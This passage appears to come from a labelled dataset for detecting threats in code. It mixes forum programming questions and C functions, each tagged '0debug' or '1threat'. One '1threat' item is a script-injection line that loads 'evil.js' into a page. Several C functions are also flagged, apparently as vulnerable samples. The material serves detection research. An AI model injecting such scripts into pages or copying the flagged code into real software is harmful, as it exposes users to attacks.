parents: vlan {{ item.id }}
lines: name {{ item.name }}
with_items: "{{ vlans }}"
register: result
when: '"{{ item.id }}" not in sh_vlan_id'
</code></pre>
<p>and during run it gives me a warning but it actually accept it. I not sure if this is ok or not.</p>
<pre><code>TASK [set_fact] *************************************************************************************************************************
ok: [acc_sw_01]
TASK [create vlans] *********************************************************************************************************************
[WARNING]: when statements should not include jinja2 templating delimiters such as {{ }} or {% %}. Found: "{{ item.id }}" not in sh_vlan_id
skipping: [acc_sw_01] => (item={u'id': 10, u'name': u'voice-1'})
skipping: [acc_sw_01] => (item={u'id': 101, u'name': u'data-2'})
skipping: [acc_sw_01] => (item={u'id': 100, u'name': u'data-1'})
changed: [acc_sw_01] => (item={u'id': 11, u'name': u'voice-2'})
</code></pre>
<p>But if I remove the curly braces in <code>item.id</code> in <code>when</code> statement </p>
<pre><code>when: item.id not in sh_vlan_id
</code></pre>
<p>It gives me an error:</p>
<pre><code>TASK [set_fact] *************************************************************************************************************************
ok: [acc_sw_01]
TASK [create vlans] *********************************************************************************************************************
fatal: [acc_sw_01]: FAILED! => {"failed": true, "msg": "The conditional check 'item.id not in sh_vlan_id' failed. The error was: Unexpected templating type error occurred on ({% if item.id not in sh_vlan_id %} True {% else %} False {% endif %}): coercing to Unicode: need string or buffer, int found\n\nThe error appears to have been in '/ansible/cisco-ansible/config_tasks/vlan.yml': line 16, column 3, but may\nbe elsewhere in the file depending on the exact syntax problem.\n\nThe offending line appears to be:\n\n\n- name: create vlans\n ^ here\n"}
</code></pre>
<p>I'm using ansible 2.3.0 (devel cbedc4a12a) btw. Thanks</p>
| 0debug |
How does #define work in C++ : <pre><code>#include <iostream>
using namespace std;
#define squareOf(x) x*x
int main() {
// your code goes here
int x;
cout<<squareOf(x+4);
return 0;
}
</code></pre>
<p>I thought the answer would come as 16 but it came out as 4.
I am confused how does this works. </p>
| 0debug |
VB equivalent code to C#; List of Strings : <p>What is the equivalent of the following code in C#?</p>
<pre><code>Dim intValidChars As New List(Of Integer)(New Integer() { Asc("0"), Asc("1"), Asc("2"), Asc("3"), Asc("4"), Asc("5"), Asc("6"), Asc("7"), Asc("8"), Asc("9"), _
Asc("A"), Asc("B"), Asc("C"), Asc("D"), Asc("E"), Asc("F"), Asc("G"), Asc("H"), Asc("I"), Asc("J")})
</code></pre>
<p>Thanks in advance.</p>
| 0debug |
Parsing Json in Golang (using struct) : I'm trying to parse JSON using Golang (I'm a n00b in Golang). Can anyone tell me why this is not working as expected?(I'm expecting it to print the Name here) : https://play.golang.org/p/tzY5hFUckhD | 0debug |
How to compare two data tables and get the different records into third data table or another way : private void AddRecords(object sender, EventArgs e)
{
string accessconst = "Provider = Microsoft.Jet.OLEDB.4.0; Data Source = C:/Program Files (x86)/BALLBACH/Database/Messdaten.mdb";
DataTable table = new DataTable();
using (OleDbConnection conn = new OleDbConnection(accessconst))
{
using (OleDbDataAdapter da = new OleDbDataAdapter("SELECT * FROM Messdaten", conn))
{
da.Fill(table);
}
}
string sqlconstr = "Data Source=DESKTOP-FVGI2J4\\SQLEXPRESS;Initial Catalog=Ballbach;Integrated Security=True";
DataTable tablesql = new DataTable();
using (SqlConnection conn = new SqlConnection(sqlconstr))
{
using (SqlDataAdapter da = new SqlDataAdapter("SELECT p1 FROM UMP", conn))
{
da.Fill(tablesql);
}
}
using (SqlConnection con = new SqlConnection("Data Source=DESKTOP-FVGI2J4\\SQLEXPRESS;Initial Catalog=Ballbach;Integrated Security=True"))
{
using (SqlCommand cmd = new SqlCommand())
{
cmd.CommandText = "INSERT INTO UMP VALUES (@p1, @p2, @p3)";
cmd.Connection = con;
cmd.Parameters.Add("@p1", SqlDbType.NVarChar, 50);
cmd.Parameters.Add("@p2", SqlDbType.NVarChar, 50);
cmd.Parameters.Add("@p3", SqlDbType.NVarChar, 50);
con.Open();
for (int i = 0; i < table.Rows.Count; i++)
{
cmd.Parameters["@p1"].Value = table.Rows[i][0];
cmd.Parameters["@p2"].Value = table.Rows[i][1];
cmd.Parameters["@p3"].Value = table.Rows[i][2];
try
{
cmd.ExecuteNonQuery();
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
break;
}
}
}
}
} | 0debug |
document.write('<script src="evil.js"></script>'); | 1threat |
How to get the json data from server in recycler view in android using retrofit? : Hi i am using Retrofit for parsing data in recycler view i am not knowledgable about Retrofit please help me..
My Json Fromat:
[{"id":3106,"sku":"62974","name":"NESTLE CERELAC STG 1 WHEAT 300G","attribute_set_id":4,"price":164,"status":1,"visibility":4,"type_id":"simple","created_at":"2017-08-16 16:15:30","updated_at":"2017-09-14 06:54:36","extension_attributes":{"stock_item":{"item_id":5627,"product_id":3106,"stock_id":1,"qty":3,"is_in_stock":true,"is_qty_decimal":false,"show_default_notification_message":false,"use_config_min_qty":true,"min_qty":0,"use_config_min_sale_qty":1,"min_sale_qty":1,"use_config_max_sale_qty":true,"max_sale_qty":10000,"use_config_backorders":true,"backorders":0,"use_config_notify_stock_qty":true,"notify_stock_qty":1,"use_config_qty_increments":true,"qty_increments":0,"use_config_enable_qty_inc":true,"enable_qty_increments":false,"use_config_manage_stock":true,"manage_stock":true,"low_stock_date":null,"is_decimal_divided":false,"stock_status_changed_auto":0}},"product_links":[],"options":[],"media_gallery_entries":[{"id":1127,"media_type":"image","label":"","position":1,"disabled":false,"types":["image","small_image","thumbnail","swatch_image"],"file":"\/6\/2\/62974.png"}],"tier_prices":[],"custom_attributes":[{"attribute_code":"description","value":"
NESTLE CERELAC STG 1 WHEAT 300G<\/p>"},{"attribute_code":"short_description","value":"
NESTLE CERELAC STG 1 WHEAT 300G<\/p>"},{"attribute_code":"special_price","value":"160.7200"},{"attribute_code":"special_from_date","value":"2017-08-17 20:17:57"},{"attribute_code":"meta_title","value":"NESTLE CERELAC STG 1 WHEAT 300G"},{"attribute_code":"meta_description","value":"NESTLE CERELAC STG 1 WHEAT 300G"},{"attribute_code":"image","value":"\/6\/2\/62974.png"},{"attribute_code":"small_image","value":"\/6\/2\/62974.png"},{"attribute_code":"thumbnail","value":"\/6\/2\/62974.png"},{"attribute_code":"news_from_date","value":"2017-08-17 20:17:57"},{"attribute_code":"custom_design_from","value":"2017-08-17 20:17:57"},{"attribute_code":"category_ids","value":["56","631"]},{"attribute_code":"options_container","value":"container2"},{"attribute_code":"required_options","value":"0"},{"attribute_code":"has_options","value":"0"},{"attribute_code":"msrp_display_actual_price_type","value":"0"},{"attribute_code":"url_key","value":"nestle-cerelac-stg-1-wheat-300g"},{"attribute_code":"gift_message_available","value":"2"},{"attribute_code":"tax_class_id","value":"2"},{"attribute_code":"swatch_image","value":"\/6\/2\/62974.png"}]}
i have get the name, sku, id successfully using below code:
MainActivity:
public class MainActivity extends AppCompatActivity {
private final String TAG = "MainActivity";
private RecyclerView recyclerView;
private LinearLayoutManager layoutManager;
private RecyclerViewAdapter adapter;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.recycle_retrofit);
recyclerView = (RecyclerView)findViewById(R.id.recycler_view);
// recyclerView.addItemDecoration(new SimpleDividerItemDecoration(this));
layoutManager = new LinearLayoutManager(MainActivity.this);
recyclerView.setLayoutManager(layoutManager);
requestJsonObject();
}
private void requestJsonObject(){
RequestQueue queue = Volley.newRequestQueue(this);
String url ="https://alagendransupermart.com/mageapi/cat_product.php?cid=83";
StringRequest stringRequest = new StringRequest(Request.Method.GET, url, new Response.Listener<String>() {
@Override
public void onResponse(String response) {
Log.d(TAG, "Response " + response);
GsonBuilder builder = new GsonBuilder();
Gson mGson = builder.create();
List<ItemObject> posts = new ArrayList<ItemObject>();
posts = Arrays.asList(mGson.fromJson(response, ItemObject[].class));
adapter = new RecyclerViewAdapter(MainActivity.this, posts);
recyclerView.setAdapter(adapter);
}
}, new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
Log.d(TAG, "Error " + error.getMessage());
}
});
queue.add(stringRequest);
}
}
Adapter:
public class RecyclerViewAdapter extends RecyclerView.Adapter<RecyclerViewHolders> {
private List<ItemObject> itemList;
private Context context;
public RecyclerViewAdapter(Context context, List<ItemObject> itemList) {
this.itemList = itemList;
this.context = context;
}
@Override
public RecyclerViewHolders onCreateViewHolder(ViewGroup parent, int viewType) {
View layoutView = LayoutInflater.from(parent.getContext()).inflate(R.layout.list_retrofit, null);
RecyclerViewHolders rcv = new RecyclerViewHolders(layoutView);
return rcv;
}
@Override
public void onBindViewHolder(RecyclerViewHolders holder, int position) {
holder.songTitle.setText("Product Name: " + itemList.get(position).getSongTitle());
holder.songYear.setText("ID: " + itemList.get(position).getSongYear());
holder.songAuthor.setText("SKU: " + itemList.get(position).getSongAuthor());
}
@Override
public int getItemCount() {
return this.itemList.size();
}
}
Getter and setter:
public class ItemObject {
@SerializedName("name")
private String songTitle;
@SerializedName("id")
private String songYear;
@SerializedName("sku")
private String songAuthor;
public ItemObject(String songTitle, String songYear, String songAuthor) {
this.songTitle = songTitle;
this.songYear = songYear;
this.songAuthor = songAuthor;
}
public String getSongTitle() {
return songTitle;
}
public String getSongYear() {
return songYear;
}
public String getSongAuthor() {
return songAuthor;
}
}
But how can i get the values inside the next array name like parameters
and there are more than 5 attributes with same name but with different values please help me in writing correct code and get the values.. | 0debug |
static void object_set_link_property(Object *obj, Visitor *v, void *opaque,
const char *name, Error **errp)
{
Object **child = opaque;
bool ambiguous = false;
const char *type;
char *path;
type = object_property_get_type(obj, name, NULL);
visit_type_str(v, &path, name, errp);
if (*child) {
object_unref(*child);
}
if (strcmp(path, "") != 0) {
Object *target;
target = object_resolve_path(path, &ambiguous);
if (target) {
gchar *target_type;
target_type = g_strdup(&type[5]);
target_type[strlen(target_type) - 2] = 0;
if (object_dynamic_cast(target, target_type)) {
object_ref(target);
*child = target;
} else {
error_set(errp, QERR_INVALID_PARAMETER_TYPE, name, type);
}
g_free(target_type);
} else {
error_set(errp, QERR_DEVICE_NOT_FOUND, path);
}
} else {
*child = NULL;
}
g_free(path);
}
| 1threat |
Ruby, array of hashes convert to 2d arrays : <p>I have an array of hashes.</p>
<pre><code>arr =[{:code=>"404", :demo => "1"}, {:code=>"302", :demo => "1"}, {:code=>"200", :demo => "1"}]
</code></pre>
<p>I would like to convert this to:</p>
<pre><code>[["404", "1"], ["302", "1"], ["200", "1"]]
</code></pre>
<p>I tried: </p>
<pre><code>arr.each do |a|
puts a.values
end
</code></pre>
<p>But this create only 1 array as;</p>
<pre><code>["404", "1", "302", "1", "200", "1"]
</code></pre>
| 0debug |
What is the meaning yellow service "started" status on Homebrew? : <p>When I tried <code>brew services list</code> command, dnsmasq, nginx status started but yellow. php71 and mysql is started and green. </p>
<p>Previously when my Mysql status started but yellow Mysql doesnt work. </p>
<p>Now my nginx and dnsmasq status started and yellow but everthing works fine.</p>
<p>What is the meaning <strong>started</strong> but yellow written status? Everything ok or?</p>
| 0debug |
Understanding the __extends function generated by typescript? : <p>I am playing with <a href="https://www.typescriptlang.org/play/#src=class%20A%20%7B%20%7D%0D%0Aclass%20B%20extends%20A%20%7B%20%7D" rel="noreferrer">Typescript</a> and trying to understand the compiled Javascript code generated by the compiler</p>
<p>Typescript code:</p>
<pre><code>class A { }
class B extends A { }
</code></pre>
<p>Generated Javascript code:</p>
<pre><code>var __extends = (this && this.__extends) || (function () {
var extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; };
return function (d, b) {
extendStatics(d, b);
function __() { this.constructor = d; }
d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
};
})();
var A = /** @class */ (function () {
function A() {
}
return A;
}());
var B = /** @class */ (function (_super) {
__extends(B, _super);
function B() {
return _super !== null && _super.apply(this, arguments) || this;
}
return B;
}(A));
</code></pre>
<p>The Javascript inheritance as per <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Inheritance" rel="noreferrer">Mozilla docs</a> is this:</p>
<pre><code>B.prototype = Object.create(A.prototype);
B.prototype.constructor = B;
</code></pre>
<p>The parts that I do not understand in the Typescript's generated code are this</p>
<p>1. What is the purpose of this line? Looks like it is copying all the keys of A into B? Is this some sort of a hack for static properties? </p>
<pre><code>var extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; };
</code></pre>
<p>2. What is this doing?</p>
<pre><code>function __() { this.constructor = d; }
d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
</code></pre>
<p>I don't understand this part: <code>(__.prototype = b.prototype, new __())</code></p>
<p>Why does function B() return this?</p>
<pre><code>return _super !== null && _super.apply(this, arguments) || this;
</code></pre>
<p>If someone can explain this to me line by line I would be grateful.</p>
| 0debug |
static inline void RENAME(rgb15to32)(const uint8_t *src, uint8_t *dst, long src_size)
{
const uint16_t *end;
#if COMPILE_TEMPLATE_MMX
const uint16_t *mm_end;
#endif
uint8_t *d = dst;
const uint16_t *s = (const uint16_t *)src;
end = s + src_size/2;
#if COMPILE_TEMPLATE_MMX
__asm__ volatile(PREFETCH" %0"::"m"(*s):"memory");
__asm__ volatile("pxor %%mm7,%%mm7 \n\t":::"memory");
__asm__ volatile("pcmpeqd %%mm6,%%mm6 \n\t":::"memory");
mm_end = end - 3;
while (s < mm_end) {
__asm__ volatile(
PREFETCH" 32%1 \n\t"
"movq %1, %%mm0 \n\t"
"movq %1, %%mm1 \n\t"
"movq %1, %%mm2 \n\t"
"pand %2, %%mm0 \n\t"
"pand %3, %%mm1 \n\t"
"pand %4, %%mm2 \n\t"
"psllq $3, %%mm0 \n\t"
"psrlq $2, %%mm1 \n\t"
"psrlq $7, %%mm2 \n\t"
PACK_RGB32
:"=m"(*d)
:"m"(*s),"m"(mask15b),"m"(mask15g),"m"(mask15r)
:"memory");
d += 16;
s += 4;
}
__asm__ volatile(SFENCE:::"memory");
__asm__ volatile(EMMS:::"memory");
#endif
while (s < end) {
register uint16_t bgr;
bgr = *s++;
#if HAVE_BIGENDIAN
*d++ = 255;
*d++ = (bgr&0x7C00)>>7;
*d++ = (bgr&0x3E0)>>2;
*d++ = (bgr&0x1F)<<3;
#else
*d++ = (bgr&0x1F)<<3;
*d++ = (bgr&0x3E0)>>2;
*d++ = (bgr&0x7C00)>>7;
*d++ = 255;
#endif
}
}
| 1threat |
void memory_mapping_filter(MemoryMappingList *list, int64_t begin,
int64_t length)
{
MemoryMapping *cur, *next;
QTAILQ_FOREACH_SAFE(cur, &list->head, next, next) {
if (cur->phys_addr >= begin + length ||
cur->phys_addr + cur->length <= begin) {
QTAILQ_REMOVE(&list->head, cur, next);
list->num--;
continue;
}
if (cur->phys_addr < begin) {
cur->length -= begin - cur->phys_addr;
if (cur->virt_addr) {
cur->virt_addr += begin - cur->phys_addr;
}
cur->phys_addr = begin;
}
if (cur->phys_addr + cur->length > begin + length) {
cur->length -= cur->phys_addr + cur->length - begin - length;
}
}
} | 1threat |
Input will not affect what if statement is used : <p>There is more to this code, but this is the only part that will not work. No matter what I put in to the "Change" variable, it will only give me the first if statement's code. How can I fix this?</p>
<pre><code>std::cout << "Do you want to change any of this information? ";
std::string answer;
std::string x = "yes";
std::cin >> answer;
if(answer == x){
std::cout << "What would you like to change:\nname(1), password(2), email(3), country(4), or cancel(5)?\nType the number of which you want to change: ";
std::cin >> Change;
if(Change = 1){
std::cout << "Please type your new first name: ";
std::cin >> FirstName;
std::cout << "Middle Initial: ";
std::cin >> MiddleInitial;
std::cout << "Last Name: ";
std::cin >> LastName;
std::cout << "Thank you for signing up for Rowan's Demo Company!";
}
if(Change = 2){
std::cout << "Please type your new password: ";
std::cin >> Password;
std::cout << "Thank you for signing up for Rowan's Demo Company!";
}
if(Change = 3){
std::cout << "Please type your new email: ";
std::cin >> Email;
std::cout << "Thank you for signing up for Rowan's Demo Company!";
}
if(Change = 4){
std::cout << "Please type your new country: ";
std::cin >> Country;
std::cout << "Thank you for signing up for Rowan's Demo Company!";
}
if(Change = 5){
std::cout << "Thank you for signing up for Rowan's Demo Company!";
}
}else{
std::cout << "Thank you for signing up for Rowan's Demo Company!";
}
return 0;
</code></pre>
<p>}</p>
| 0debug |
Explain foreach loop in php : <p>Can somebody explain foreach loop in php? I know so many answers are available but am not able to understand what the actual mean and use of this.please explain in simple language.</p>
| 0debug |
Changing the size of a modal view controller : <p>Once, the user taps a button, I want my modalViewController to appear as a small square in the middle of the screen (where you can still see the original view controller in the background).</p>
<p>Almost every answer on stackoverflow I find uses the storyboard to create a modal view controller, but I've gotten this far with everything I've found.</p>
<p>When you tap the button that is supposed to bring up the modal view, this function is called: </p>
<pre><code>func didTapButton() {
let modalViewController = ModalViewController()
modalViewController.definesPresentationContext = true
modalViewController.modalPresentationStyle = .overCurrentContext
navigationController?.present(modalViewController, animated: true, completion: nil)
}
</code></pre>
<p>And the modalViewController contains:</p>
<pre><code>import UIKit
class ModalViewController: UIViewController {
override func viewDidLoad() {
super.viewDidLoad()
view.backgroundColor = .blue
view.isOpaque = false
self.preferredContentSize = CGSize(width: 100, height: 100)
}
}
</code></pre>
<p>Based on the answers I found, I was under the impression that if I set <code>preferredContentSize = CGSize(width: 100, height: 100)</code>, then it would make the modal view controller 100px x 100px.</p>
<p>However, the view controller takes up the entire screen (except for the tab bar because I set <code>modalViewController.modalPresentationStyle = .overCurrentContext</code></p>
<p>I'm obviously missing a step here, but I want to do everything programmatically as I'm not using the Storyboard at all in my project (except for setting the opening controller)</p>
<p>Thanks in advance for you help!!</p>
| 0debug |
Print amount of duplicates of each value in int array java : <p>I'm new to java and has to finish this assignment. The question is, how can I from an array count all duplicates in a method and list them as so:</p>
<pre><code>int [] arr = new int[] {2,5,6,1,2,1,5,3,6,1,2,1,5};
Arrays.sort(arr);
</code></pre>
<p>The values has to be sorted by integer and listed like this:</p>
<ul>
<li>1 - 4</li>
<li>2 - 3</li>
<li>3 - 1</li>
<li>5 - 3</li>
<li>6 - 2</li>
</ul>
<p>hope it makes sence.</p>
| 0debug |
My Update button is not working. my database is XAMPP language c# : **This is my code for the update button.**
private void btnSave_Click(object sender, EventArgs e)
{
MySqlConnection con = new MySqlConnection(MyConnectionString);
MySqlCommand cmd;
con.Open();
if (txtFN.Text != "" && txtMN.Text != "" && txtLN.Text != "" && txtAge.Text != "" && txtReligion.Text != "" && cmbGender.Text != "" && dateTimePicker1.Text != "" && cmbGrade.Text != "" && cmbStrands.Text != "" && txtPlaceBirth.Text != "" && txtHomeAddress.Text != "" && txtNameLastSchool.Text != "" && txtAddressLastSchool.Text != "")
{
cmd = new MySqlCommand("UPDATE tbluser set FirstName, MiddleName, LastName, Age, Religion, Gender, BirthDay, Grade, Strand, PlaceBirth, HomeAddress, NameLastSchool, AddressLastSchool) values (@fname, @mname, @Lname, @Age, @Religion, @Gender, @Birthday, @Grade, @Strand, @PlaceBirth, @HomeAddress, @NameLastSchool, @AddressLastSchool", con);
cmd.Parameters.AddWithValue("@fname", txtFN.Text);
cmd.Parameters.AddWithValue("@Mname", txtMN.Text);
cmd.Parameters.AddWithValue("@Lname", txtLN.Text);
cmd.Parameters.AddWithValue("@Age", txtAge.Text);
cmd.Parameters.AddWithValue("@Religion", txtReligion.Text);
cmd.Parameters.AddWithValue("@Gender", cmbGender.Text);
cmd.Parameters.AddWithValue("@Birthday", dateTimePicker1.Text);
cmd.Parameters.AddWithValue("@Grade", cmbGrade.Text);
cmd.Parameters.AddWithValue("@Strand", cmbStrands.Text);
cmd.Parameters.AddWithValue("@PlaceBirth", txtPlaceBirth.Text);
cmd.Parameters.AddWithValue("@HomeAddress", txtHomeAddress.Text);
cmd.Parameters.AddWithValue("@NameLastSchool", txtNameLastSchool.Text);
cmd.Parameters.AddWithValue("@AddressLastSchool", txtAddressLastSchool.Text);
cmd.ExecuteNonQuery();
con.Close();
MessageBox.Show("Record Updated Successfully");
MessageBox.Show("Please Select Record to Update");
}
} | 0debug |
Flutter position fixed equivalent : <p>Is it possible to fix an object in the screen that stays fixed regardless of scrolling?</p>
<p>Something similar to CSS position fixed.</p>
| 0debug |
How to write a python script to remove all file ending with .log in 10 different directories : Please provide a python script which can delete all .log files in 10 different directories which are older than 5 days.
Path structure is shown below.
Path1 is like (abc/bcd/def/xyz/fkd/.log)
path2 is like (abc/bcd/def/mnq/kjf/.log) and so on.
First three directories are same but it differs after that. | 0debug |
SGD library for Java : <p>Could someone recommend me lightweight, easy to use Java library for stochastic gradient descent optimization? </p>
| 0debug |
Changing Material Components style attributes fails : <p>I am trying to change the style attributes from the <a href="https://material.io/develop/android/docs/getting-started/" rel="noreferrer">Material Components Theme</a> (like <code>colorPrimaryVariant</code>, <code>colorOnSecondary</code> and so on) but I get the following error:</p>
<pre><code>Android resource linking failed
Output: C:\...\app\build\intermediates\incremental\mergeDebugResources\merged.dir\values\values.xml:3835: error: style attribute 'attr/colorPrimaryVariant (aka com.sample.app:attr/colorPrimaryVariant)' not found.
C:\...\app\build\intermediates\incremental\mergeDebugResources\merged.dir\values\values.xml:3836: error: style attribute 'attr/colorOnPrimary (aka com.sample.app:attr/colorOnPrimary)' not found.
C:\...\app\build\intermediates\incremental\mergeDebugResources\merged.dir\values\values.xml:3839: error: style attribute 'attr/colorSecondaryVariant (aka com.sample.app:attr/colorSecondaryVariant)' not found.
C:\...\app\build\intermediates\incremental\mergeDebugResources\merged.dir\values\values.xml:3840: error: style attribute 'attr/colorOnSecondary (aka com.sample.app:attr/colorOnSecondary)' not found.
error: failed linking references.
</code></pre>
<p>This is what my theme looks like:</p>
<pre><code><resources>
<!-- Light application theme -->
<style name="CBTheme" parent="Theme.MaterialComponents.Light.DarkActionBar">
<item name="colorPrimary">@color/cbPrimary</item>
<item name="colorPrimaryDark">@color/cbPrimaryDark</item>
<item name="colorPrimaryVariant">@color/cbPrimaryDark</item>
<item name="colorOnPrimary">#FFFFFF</item>
<item name="colorAccent">@color/cbAccent</item>
<item name="colorSecondary">@color/cbAccent</item>
<item name="colorSecondaryVariant">@color/cbAccentLight</item>
<item name="colorOnSecondary">#FFFFFF</item>
<item name="colorError">@color/cbRed</item>
<item name="android:windowBackground">@color/lightThemeBackground1</item>
</style>
[...]
</resources>
</code></pre>
<p>If I don't add the four affected attributes everything works fine. My minSdkVersion is 16, compileSdkVersion and targetSdkVersion are 28. I also tried to use the Bridge themes but I get the same error. I double-checked my dependencies and everything seems correct. What am I missing?</p>
| 0debug |
{{route()}} no funcina dentro de ajax : Within a view of Laravel I generate a report and charge it using ajax. In the report I have three buttons, one of them is "Add".
Clicking on the "add" button does not redirect me to the route (viewAlarmasConfDestinatarios), in which I should show another form with fields that I must complete.
{{route ()}} does not work within ajax
ajax:
function fetch_data()
{
var trHTML ='';
$.ajax({
url: 'reporteAlarmasConfiguracion/',
type: "GET",
data : {"_token":"{{ csrf_token() }}"},
dataType: "json",
success:function(data)
{
if(data)
{
console.log('ENTRE AL FETCH_DATA');
$('#locationA > tbody').empty();
$.each(data, function(key, value)
{
var product_id = value.pais +'-'+ value.servicio +'-'+ value.denominacion;
var url = '{{ route("viewAlarmasConfDestinatarios.index", ":id") }}';
url = url.replace(':id',product_id);
console.log(url);
if($.trim(value.vigente) == '1')
{
console.log('ACTIVO');
value.vigente='<button type="button" class="btn btn-success btn-xs" id="'+ value.pais +'-'+ value.servicio +'-'+ value.denominacion+'">Activa</button>' ;
}
if($.trim(value.vigente) == '0')
{
value.vigente='<button type="button" class="btn btn-xs" id="'+ value.pais +'-'+ value.servicio +'-'+ value.denominacion+'"> Desactivada</button>' ;
}
if($.trim(value.pais) == '1')
{
value.pais='AR';
}
if($.trim(value.pais) == '2')
{
value.pais='UY';
}
if($.trim(value.pais) == '3')
{
value.pais='PY';
}
var data = {
"_token": $('#token').val()
};
var urlparm=value.pais +'-'+ value.servicio +'-'+ value.denominacion;
console.log(urlparm);
trHTML += '<tr id="fila"><td>' + value.pais + '</td><td>' + value.servicio + '</td><td>' + value.denominacion + '</td><td>' + value.descripcion + '</td><td>' + value.vigente + '</td><td>' + '<button type="button" class="btn btn-danger btn-xs delete" id="'+ value.pais +'-'+ value.servicio +'-'+ value.denominacion+'"> Eliminar</button> ' + '<button type="button" class="btn btn-warning btn-xs" id="'+ value.pais +'-'+ value.servicio +'-'+ value.denominacion+'"> Modificar</button>' + '</td><td>' + '<button type="button" class="btn btn-info btn-xs info"" id="'+ value.pais +'-'+ value.servicio +'-'+ value.denominacion+'" onclick="'+url+'">Cargar</button>' + '</td></tr>';
});
$('#locationA').append(trHTML);
}
}
});
}
route:Route::get('/AlarmaConfDestinatarios/{denominacion?}', 'alarmasController@viewAlarmasConfDestinatarios')->name('viewAlarmasConfDestinatarios.index');[enter image description here][1]
[1]: https://i.stack.imgur.com/jf5Ii.png | 0debug |
VBA how to retrun a function : Sub transliterate()
somecode,...
...
...
transliterate subfunction(a,b) // return subfunction
| 0debug |
How do I extract and view cookies from Android Chrome? : <p>Is there any way for me to get and read cookies from my Android Chrome browser? </p>
<p>Thank you.</p>
| 0debug |
static void gmc_motion(MpegEncContext *s,
uint8_t *dest_y, uint8_t *dest_cb, uint8_t *dest_cr,
uint8_t **ref_picture)
{
uint8_t *ptr;
int linesize, uvlinesize;
const int a = s->sprite_warping_accuracy;
int ox, oy;
linesize = s->linesize;
uvlinesize = s->uvlinesize;
ptr = ref_picture[0];
ox = s->sprite_offset[0][0] + s->sprite_delta[0][0] * s->mb_x * 16 +
s->sprite_delta[0][1] * s->mb_y * 16;
oy = s->sprite_offset[0][1] + s->sprite_delta[1][0] * s->mb_x * 16 +
s->sprite_delta[1][1] * s->mb_y * 16;
s->mdsp.gmc(dest_y, ptr, linesize, 16,
ox, oy,
s->sprite_delta[0][0], s->sprite_delta[0][1],
s->sprite_delta[1][0], s->sprite_delta[1][1],
a + 1, (1 << (2 * a + 1)) - s->no_rounding,
s->h_edge_pos, s->v_edge_pos);
s->mdsp.gmc(dest_y + 8, ptr, linesize, 16,
ox + s->sprite_delta[0][0] * 8,
oy + s->sprite_delta[1][0] * 8,
s->sprite_delta[0][0], s->sprite_delta[0][1],
s->sprite_delta[1][0], s->sprite_delta[1][1],
a + 1, (1 << (2 * a + 1)) - s->no_rounding,
s->h_edge_pos, s->v_edge_pos);
if (CONFIG_GRAY && s->flags & CODEC_FLAG_GRAY)
return;
ox = s->sprite_offset[1][0] + s->sprite_delta[0][0] * s->mb_x * 8 +
s->sprite_delta[0][1] * s->mb_y * 8;
oy = s->sprite_offset[1][1] + s->sprite_delta[1][0] * s->mb_x * 8 +
s->sprite_delta[1][1] * s->mb_y * 8;
ptr = ref_picture[1];
s->mdsp.gmc(dest_cb, ptr, uvlinesize, 8,
ox, oy,
s->sprite_delta[0][0], s->sprite_delta[0][1],
s->sprite_delta[1][0], s->sprite_delta[1][1],
a + 1, (1 << (2 * a + 1)) - s->no_rounding,
s->h_edge_pos >> 1, s->v_edge_pos >> 1);
ptr = ref_picture[2];
s->mdsp.gmc(dest_cr, ptr, uvlinesize, 8,
ox, oy,
s->sprite_delta[0][0], s->sprite_delta[0][1],
s->sprite_delta[1][0], s->sprite_delta[1][1],
a + 1, (1 << (2 * a + 1)) - s->no_rounding,
s->h_edge_pos >> 1, s->v_edge_pos >> 1);
}
| 1threat |
How to convert Date Difference value from float to int? : <p>I'm trying to calculate date difference using <code>JavaScript</code>.</p>
<p><strong>My Code:</strong></p>
<pre><code>function getELECurrentdifference($this1)
{
var CtrDate = new Date('');
if($this1.datepicker("getDate") != null)
{
var ELEcertCurrentDiff= $this1.datepicker("getDate") - CtrDate;
var result = ELEcertCurrentDiff / (1000 * 60 * 60 * 24) * +1;
//$("#ELEcertDiff").text(result);
document.getElementById("ELEcertCurrentDiff").value = result;
}
}
</code></pre>
<p>But I got a value in float.</p>
<p><strong>Output:</strong></p>
<blockquote>
<p>25.39119292824074</p>
</blockquote>
<p>How I can convert it to integer value like <strong>25</strong> only.</p>
<p>Any kind of help is welcome, thanks in advance.</p>
| 0debug |
Read an excel in java and map first row to all the subsequent rows using java : <p>I have an excel containing details of a student.The first row has the values of header and the subsequent rows has details of each student. I want to map the heading to each row and print the values using java.</p>
<p>Example:</p>
<p>Excel having details about student</p>
<p>Roll Number Name Mark</p>
<p>1 a 100</p>
<p>2 b 99</p>
<p>3 c 40</p>
<p>I want my result to be printed as:</p>
<p>Roll Number: 1 , Name :a , Mark:100</p>
<p>Roll Number: 2 , Name :b , Mark:99</p>
<p>Roll Number: 3 , Name :c , Mark:40</p>
<p>Please help me out on this.</p>
| 0debug |
static int mp3_write_audio_packet(AVFormatContext *s, AVPacket *pkt)
{
MP3Context *mp3 = s->priv_data;
if (pkt && pkt->data && pkt->size >= 4) {
MPADecodeHeader c;
int av_unused base;
avpriv_mpegaudio_decode_header(&c, AV_RB32(pkt->data));
if (!mp3->initial_bitrate)
mp3->initial_bitrate = c.bit_rate;
if ((c.bit_rate == 0) || (mp3->initial_bitrate != c.bit_rate))
mp3->has_variable_bitrate = 1;
#ifdef FILTER_VBR_HEADERS
base = 4 + xing_offtbl[c.lsf == 1][c.nb_channels == 1];
if (base + 4 <= pkt->size) {
uint32_t v = AV_RB32(pkt->data + base);
if (MKBETAG('X','i','n','g') == v || MKBETAG('I','n','f','o') == v)
return 0;
}
base = 4 + 32;
if (base + 4 <= pkt->size && MKBETAG('V','B','R','I') == AV_RB32(pkt->data + base))
return 0;
#endif
if (mp3->xing_offset)
mp3_xing_add_frame(mp3, pkt);
}
return ff_raw_write_packet(s, pkt);
}
| 1threat |
float64 HELPER(sub_cmp_f64)(CPUState *env, float64 a, float64 b)
{
float64 res;
